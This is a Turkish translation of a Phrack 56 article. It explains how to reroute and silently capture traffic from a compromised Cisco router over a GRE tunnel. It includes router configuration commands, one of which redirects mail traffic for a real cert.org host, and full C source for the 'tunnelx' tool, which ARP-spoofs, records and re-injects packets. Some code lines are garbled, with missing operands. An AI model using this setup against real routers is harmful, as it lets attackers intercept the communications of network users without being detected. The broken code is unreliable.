Not: Phrack 56'da gauis <
gaius at hert.org
> tarafından yazılmış yazıdan çevrilmiştir.
Giriş:
Router'ları genel olarak düşündüğümde, süpermarkete gidip tüm o yiyecekleri gördüğümde deli dana hastalığı, CJD, GMO gibi hastalıkların aklıma gelmesi ile aynı hislere sahip oluyorum. cisco.com'a gidin ve cisco 7500'in ne için kullanıldığına, kaç tane firmanın sahip olduğuna ve kaç bin makinanın onlar tarafaından yönlendirildiğine bir bakın. Hatta sitede biryerlerdeki traceroute haritası ile bu router'lara ne kadar bağımlı olduğumuzu görebilirsiniz. Güvenliğe inanmayı bırakalı uzun zaman oldu, güvenlik probleminin özü bizim güven'e güvenmemizdir (Ken Thomson'un "Reflections on trusting trust" yazısını okuyun), eğer güvenliğe inansaydım penetrasyon testleri satmazdım.
İnsanların "Hey cisco'ya girdim, IOS'un kaynak koduna sahip olsam süper olur.. Truva ekleyip tekrar derlerim ve şunu yaparım bunu yaparım." dediğini kaç kere duydunuz, kaç kere enable şifresi ile ne yapacaklarını merak edenleri duydunuz. IOS kaynak kodu bir süredir ortalıkta geziniyor ve kimse şimdiye kadar birşey yapmadı, en azından bugtraq'ın herşeyiaçıklayıpkonuşuyorgibigörünelim okuyucuları.
Aslında, IOS kaynak koduna ihtiyacınız bile yok, tüm ihtiyacınız olan zaten orada, (kaynak kodu ile yapabileceğiniz güzel ufak birşey var ama bundan sonra bahsedeceğiz). IDA'ya image'i yükleyerek bir kaç yönergeyi (instruction) "nop out" edin ve cisco'nun rmon implementasyonu yükü sıfırlamayacak ve bir IOS sniffer'ınız olacaktır.
Tekrar yönlendirme
Yapmak istediğimiz trafiği bir router'dan başka bir yere reroute etmek, yakalayıp hiçbirşey olmamış gibi router'a tekrar göndermek. Tipik bir konfigürasyonda normal operasyon aşağıdaki gibi görünecektir:
Internet ------------ Cisco (Ethernet0) ------------ Target (Serial0)
Aşağıdakileri yapacağız:
# telnet cisco
Trying 192.168.1.240...
Connected to 192.168.1.240.
Escape character is '^]'.
User Access Verification
Password:
cisco> enable
Password:
cisco# configure term
Enter configuration commands, one per line. End with CNTL/Z.
cisco(config)# int tunnel0
cisco(config-if)# ip address 192.168.0.1 255.255.255.0
cisco(config-if)# tunnel mode ?
aurp AURP TunnelTalk AppleTalk encapsulation
cayman Cayman TunnelTalk AppleTalk encapsulation
dvmrp DVMRP multicast tunnel
eon EON compatible CLNS tunnel
gre generic route encapsulation protocol
ipip IP over IP encapsulation
nos IP over IP encapsulation (KA9Q/NOS compatible)
cisco(config-if)# tunnel mode gre ip
cisco(config-if)# tunnel source ?
A.B.C.D ip address
BRI ISDN Basic Rate Interface
Dialer Dialer interface
Ethernet IEEE 802.3
Lex Lex interface
Loopback Loopback interface
Null Null interface
Tunnel Tunnel interface
cisco(config-if)# tunnel source Ethernet0/0/0
cisco(config-if)# tunnel destination 192.168.1.1
cisco(config-if)# ^Z
cisco# show interfaces Tunnel0
Tunnel0 is up, line protocol is up
Hardware is Tunnel
Internet address is 192.168.0.1/24
MTU 1500 bytes, BW 9 Kbit, DLY 500000 usec, rely 255/255, load 1/255
Encapsulation TUNNEL, loopback not set, keepalive set (10 sec)
Tunnel source 192.168.1.240 (Ethernet0), destination 192.168.1.1
Tunnel protocol/transport GRE/IP, key disabled, sequencing disabled
Checksumming of packets disabled, fast tunneling enabled
Last input never, output never, output hang never
Last clearing of "show interface" counters never
Input queue: 0/75/0 (size/max/drops); Total output drops: 0
5 minute input rate 0 bits/sec, 0 packets/sec
5 minute output rate 0 bits/sec, 0 packets/sec
0 packets input, 0 bytes, 0 no buffer
Received 0 broadcasts, 0 runts, 0 giants
0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort
0 packets output, 0 bytes, 0 underruns
0 output errors, 0 collisions, 0 interface resets
0 output buffer failures, 0 output buffers swapped out
cisco#
|
Bu noktada, eğer 192.168.0.1/24 ağında bir IP'yi ping'lemeye çalışmazsanız tcpdump birşey göstermeyecektir. Bazı GRE encapsulated ICMP paketleri ve 192.168.1.1'den gelen bazı icmp proto 47 unreach paketleri göreceksiniz.
Linux makinanızda 47 nolu protokolün firewall'da bloklanmadığından emin olun,
test# ipchains -I input -p 47 -j ACCEPT # accept GRE protocol
test# modprobe ip_gre
test# ip tunnel add tunnel0 mode gre remote 192.168.1.240 local
192.168.1.1
test# ifconfig tunnel0 192.168.0.2 netmask 255.255.255.0
test# ping 192.168.0.2
PING 192.168.0.2 (192.168.0.2): 56 data bytes
64 bytes from 192.168.0.2: icmp_seq=0 ttl=255 time=0.3 ms
^C
|
Ok linkimiz çalışıyor. Ve gördüğünüz gibi GRE varsayılan olarak "stateless". GRE2 ve aptal
PPTP ile Microsoft ülkesinde olmadığımızdan bir el sıkışma (handshake) yok.
test# tcpdump -i eth1 host 192.168.1.240 and not port 23
tcpdump: listening on eth1
11:04:44.092895 arp who-has cisco tell private-gw
11:04:44.094498 arp reply cisco is-at 0:6d:ea:db:e:ef
11:04:44.094528 192.168.0.2 > 192.168.0.1: icmp: echo request (gre encap)
11:04:44.097458 192.168.0.1 > 192.168.0.2: icmp: echo reply (gre encap)
|
GRE'nin rfc'si çok açıklayıcı değil ve cisco coder'ları kendi RFC'lerine saygı gösterilmediği için Linux'un GRE implementasyonu kaynağına kızıyorlar.
ftp.ee.lbl.gov'daki tcpdump kaynak koduna bakalım. print-gre.c dosyasında tunnelx'i kodlamamız için gerekli olan tüm bilgilere sahipiz.
tunnelx - IOS Transparan tekrar yönlendirme ve yakalama
libpcap ve libnet ile yeni bir CVS tree açtım, tcpdump'dan bazı gre başlıklarını aldım, Chunky Monkey yerken pcap'in manuelini tekrar okudum, libnet'in API dokümantasyonuna tekrar gözattım ve pamaklarımdan pizza kırıntılarını ve dondurmayı temizleyip çok basit birşey kodlayıp çalışıp çalışmayacağını görmek istedim:
- REENTRY adını verdiğimiz kullanılmayan bir IP ve protocol unreachable fırtınasını engellemek için ETHER_SPOOF dediğimiz sahte bir ethernet adresi tanımlıyoruz.
- libpcap'i ve libnet'i initialize ediyoruz ve pcap_loop'u hazırlıyoruz.
- Sonra ARP istek paketleri ve tünel çıkış noktası adresine giden, GRE protokülüne uyan IP paketlerine bakacak olan bir pcap handler yapıyoruz.
- ARP parser'ımız eğer REENTRY için bir istek değilse bırakıyor veya ETHER_SPOOF ile bir cevap gönderiyor.
- GRE parser'ımız basitçe IP ve ethernet kaynak ve hedeflerinin yerlerini değiştiriyor, ve paketi diske pcap_dump() ile yazıyor, ttl'i artırıyor, checksum'ı tekrar hesaplıyor ve libnet_write ile temizliyor.
- Hepsi bu!!! Bu kadar basit olacağına inanmazdım. Esas zor bölüm şimdi geliyor; cisco'yu doğru olarak konfigür etmeliyiz (tekrar yönlendirmek istediğiniz herşeyi içeren bir erişim listesi tanımlama).
telnet 192.88.115.98
...
config term
int tunnel0
ip address 192.168.0.1 255.255.255.0
tunnel mode gre ip
tunnel source Ethernet0
tunnel destination TUNNELX_REENTRY_IP
!
access-list 111 permit tcp any host 192.88.209.10 25
!
route-map certisowned
match ip address 111
set ip next-hop 192.168.0.7
!
!
interface Ethernet0
description to cert.org
ip address 192.88.115.98
ip policy route-map certisowned
^Z
|
Eğer tunnelx'i cisco'yu ayarlamadan önce hazırlayıp çalıştırdıysanız şimdi çalışması lazım! Ve paketleri bizim erişim listemize eşleşmediği için traceroute hiçbirşey göstermeyecektir!
Cisco konfigürasyonunu değiştirmek istediğinizde önce 'no route-map certisowned' ile route map'i silin yoksa tüm paketlere eşleyecektir ve sonsuz bir kısır döngüye gireceklerdir. İlk önce ufak bir cisco 1600'da deneyin. İnsanlar sadece hangi ağda paketlerin yakalandığını farkedebilir, arp spoof yaptığımızdan gerçek hostu bilemezler.
Girişde IOS kaynak kodundan birşeyler yapmanın güzel olabileceğini söylemiştim. Cisco'nun Kripto kodu. Kriptolanmış bir tünel kurarak çift yönlü olarak aynı anahtarı kullandırın ve böylece giden ve gelen paketleri kriptolayacaktır. Tunnelx de aynı işi yapıyor. Sadece trafiği dekriptolamak için pcap okuyucunuza crypto rutinini eklemeniz gerekiyor.
Evet, pcap okuyucusundan bahsetmedim, tunnelx'den pcap dump'ı parse eden, bununla GRE paketini un-encapsulate eden ve her oturum için dosyalar yaratan ufak bir program yapabilirsiniz. Düzensiz paketleri kaçırmamak için veya birbirinin aynı olanlarda karışıklık olmaması için lseek() bunu yapmada anahtar kelime. Bu yazı averaj bugtraq veya rootshell okuyucu için hazırlanmadığından pcap dump parser'ı içermiyor, tunnelx'in özel bir sürümü veya teknik destek ihtiyacınız olursa bana para gönderebilirsiniz.
Selamlar ve son sözler
:r !cat greetlist |sort -u |sed -e 's/$/, /'|xargs #hax idlers, acpizer,
akg, antilove (your piggy coding style is great), awr, binf, cb, cisco9,
ee.lbl.gov, f1ex, gamma, ice, jarvis, joey, kil3r, klog, meta, minus, nises,
octa, plaguez, plasmoid, route (thx 4 libnet), scalp, scuzzy, shok, swr,
teso crew, the owl, tmoggie, ultor, wilkins, ze others i forgot,
|
hunt'da olduğu gibi spoofing, hijacking ve monitoring yapabilmenize izin verecek olan yeni bir sürüm üzerinde çalışıyorum. Unutmayın, router'da olduğunuzda, herşeyi yapabilirsiniz, ve herkes size güvenir :) .
Kod:
<++> p56/Tunnelx/tunnelx.c !0d503a37
// Tunnelx is part of the research and development effort
// conducted by HERT. These are not production tools for either attack or
// defense within an information warfare setting. Rather, they are small
// modifications demonstrating proof of concept.
// comments and crap to gaius@hert.org
// to compile on solaris: (i used libnet-0.99g)
// gcc -O2 -I. -DLIBNET_BIG_ENDIAN -Wall -c tunnelx.c
// gcc -O2 tunnelx.o -o tunnelx -lsocket -lnsl libpcap.a libnet.a
// on linux:
// gcc -O2 -I. `libnet-config --defines` -c tunnelx.c
// gcc -O2 tunnelx.o -o tunnelx libpcap.a libnet.a
#if (HAVE_CONFIG_H)
#include "config.h"
#endif
#include <libnet.h>
#include <pcap.h>
#define IP_UCHAR_COMP(x, y) \
(x[0] == y[0] && x[1] == y[1] && x[2] == y[2] && x[3] == y[3])
#define GRE_CP 0x8000 /* Checksum Present */
#define GRE_RP 0x4000 /* Routing Present */
#define GRE_KP 0x2000 /* Key Present */
#define GRE_SP 0x1000 /* Sequence Present */
#define GRE_SIZE (20)
#define GREPROTO_IP 0x0800
#define EXTRACT_16BITS(p) \
((u_short)ntohs(*(u_short *)(p)))
const u_char *packetp;
const u_char *snapend;
#define SNAPLEN 8192
#define TUNNELX_REENTRY "192.168.1.1"
char out[] = "core";
u_long ip_spoof;
u_char ether_spoof[6] = {0xEA, 0x1A, 0xDE, 0xAD, 0xBE, 0xEF};
struct gre_hdr
{
u_short flags;
u_short proto;
union
{
struct gre_ckof
{
u_short cksum;
u_short offset;
}
gre_ckof;
u_long key;
u_long seq;
}
gre_void1;
union
{
u_long key;
u_long seq;
u_long routing;
}
gre_void2;
union
{
u_long seq;
u_long routing;
}
gre_void3;
union
{
u_long routing;
}
gre_void4;
};
struct link_int *li;
char default_dev[] = "le0";
char *device = NULL;
void pcap_print (u_char * user, const struct pcap_pkthdr *h,
const u_char * p);
char errbuf[256];
int
main (int argc, char *argv[])
{
int cnt, c, ret, snaplen;
bpf_u_int32 localnet, netmask;
char ebuf[PCAP_ERRBUF_SIZE];
char pcapexp[50];
pcap_t *pd;
struct bpf_program fcode;
pcap_handler printer;
u_char *pcap_userdata;
snaplen = SNAPLEN;
printer = pcap_print;
while ((c = getopt (argc, argv, "i:")) != EOF)
{
switch (c)
{
case 'i':
device = optarg;
break;
default:
exit (EXIT_FAILURE);
}
}
//inet_aton (TUNNELX_REENTRY, \_spoof);
ip_spoof = libnet_name_resolve(TUNNELX_REENTRY, 0);
device = default_dev;
if (!device)
{
fprintf (stderr, "Specify a device\n");
exit (EXIT_FAILURE);
}
li = libnet_open_link_interface (device, errbuf);
if (!li)
{
fprintf (stderr, "libnet_open_link_interface: %s\n", errbuf);
exit (EXIT_FAILURE);
}
if (device == NULL)
device = pcap_lookupdev (ebuf);
if (device == NULL)
printf ("%s", ebuf);
pd = pcap_open_live (device, snaplen, 1, 500, errbuf);
if (pd == NULL)
{
fprintf (stderr, "pcap_open_live: %s\n", errbuf);
return (-1);
}
if (pd == NULL)
printf ("%s", ebuf);
ret = pcap_snapshot (pd);
if (snaplen < ret)
{
printf ("Snaplen raised from %d to %d\n", snaplen, ret);
snaplen = ret;
}
if (pcap_lookupnet (device, , , ebuf) < 0)
{
localnet = 0;
netmask = 0;
}
sprintf(pcapexp, "arp or (host %s and proto 47)", TUNNELX_REENTRY);
if (pcap_compile (pd,
,
pcapexp,
1, netmask) < 0)
printf ("%s", pcap_geterr (pd));
if (pcap_setfilter (pd, ) < 0)
printf ("%s", pcap_geterr (pd));
if (out)
{
pcap_dumper_t *p = pcap_dump_open (pd, out);
pcap_userdata = (u_char *) p;
}
if (pcap_loop (pd, cnt, printer, pcap_userdata) < 0)
{
(void) fprintf (stderr, "pcap_loop: %s\n", pcap_geterr (pd));
exit (1);
}
pcap_close (pd);
exit (0);
}
void
pcap_print (u_char * user, const struct pcap_pkthdr *h, const u_char * p)
{
register struct libnet_ethernet_hdr *eh;
register struct gre_hdr *gh;
register struct libnet_ip_hdr *ih;
register struct libnet_arp_hdr *ah;
register char *dst, *src;
register u_int ih_length, payload_length, off;
u_int length = h->len;
u_int caplen = h->caplen;
u_short proto;
struct ether_addr tmp_ea;
packetp = p;
snapend = p + caplen;
eh = (struct libnet_ethernet_hdr *) p;
p += sizeof (struct libnet_ethernet_hdr);
caplen -= sizeof (struct libnet_ethernet_hdr);
length -= sizeof (struct libnet_ethernet_hdr);
switch (ntohs (eh->ether_type))
{
case ETHERTYPE_IP:
ih = (struct libnet_ip_hdr *) p;
ih_length = ih->ip_hl * 4;
payload_length = ntohs (ih->ip_len);
payload_length -= ih_length;
off = ntohs (ih->ip_off);
if ((off & 0x1fff) == 0)
{
p = (u_char *) ih + ih_length;
src = strdup (inet_ntoa (ih->ip_src));
dst = strdup (inet_ntoa (ih->ip_dst));
switch (ih->ip_p)
{
#ifndef IPPROTO_GRE
#define IPPROTO_GRE 47
#endif
case IPPROTO_GRE:
gh = (struct gre_hdr *) p;
p += 4;
if (memcmp (>ip_dst, _spoof, 4) == 0)
{
// reverse GRE source and destination
memcpy (tmp_ea.ether_addr_octet, >ip_src, 4);
memcpy (>ip_src, >ip_dst, 4);
memcpy (>ip_dst, tmp_ea.ether_addr_octet, 4);
// ih->ip_id++;
// reverse Ether source and destination
memcpy (tmp_ea.ether_addr_octet, eh->ether_shost, ETHER_ADDR_LEN);
memcpy (eh->ether_shost, eh->ether_dhost, ETHER_ADDR_LEN);
memcpy (eh->ether_dhost, tmp_ea.ether_addr_octet, ETHER_ADDR_LEN);
// dope the ttl up
ih->ip_ttl = 64;
if (libnet_do_checksum ((u_char *) ih, IPPROTO_IP, ih_length) == -1)
return;
if (libnet_write_link_layer (li, device, (u_char *) eh,
payload_length + ih_length + sizeof (struct libnet_ethernet_hdr))
== -1)
return;
pcap_dump (user, h, packetp);
}
proto = EXTRACT_16BITS (>proto);
break;
default:
return;
}
}
break;
case ETHERTYPE_ARP:
// process arp
ah = (struct libnet_arp_hdr *) p;
if (EXTRACT_16BITS (>ar_op) != ARPOP_REQUEST)
{
return;
}
if (memcmp (ah->ar_tpa, _spoof, 4) != 0)
return;
// swap ip source and address i use ar_tha as a temporary place holder
memcpy (ah->ar_tha, ah->ar_spa, 4);
memcpy (ah->ar_spa, ah->ar_tpa, 4);
memcpy (ah->ar_tpa, ah->ar_tha, 4);
// move ether addr source to both destination
memcpy (eh->ether_dhost, eh->ether_shost, ETHER_ADDR_LEN);
memcpy (ah->ar_tha, eh->ether_shost, ETHER_ADDR_LEN);
// copy fake ether addr to both source
memcpy (eh->ether_shost, ether_spoof, ETHER_ADDR_LEN);
memcpy (ah->ar_sha, ether_spoof, ETHER_ADDR_LEN);
// set arp op code to reply
ah->ar_op = htons (2);
if (libnet_write_link_layer (li, device, (u_char *) eh,
ARP_H + ETH_H) == -1)
return;
break;
}
}
<-->
|
kaynak: http://www.phrack.org/phrack/56/p56-0x0a |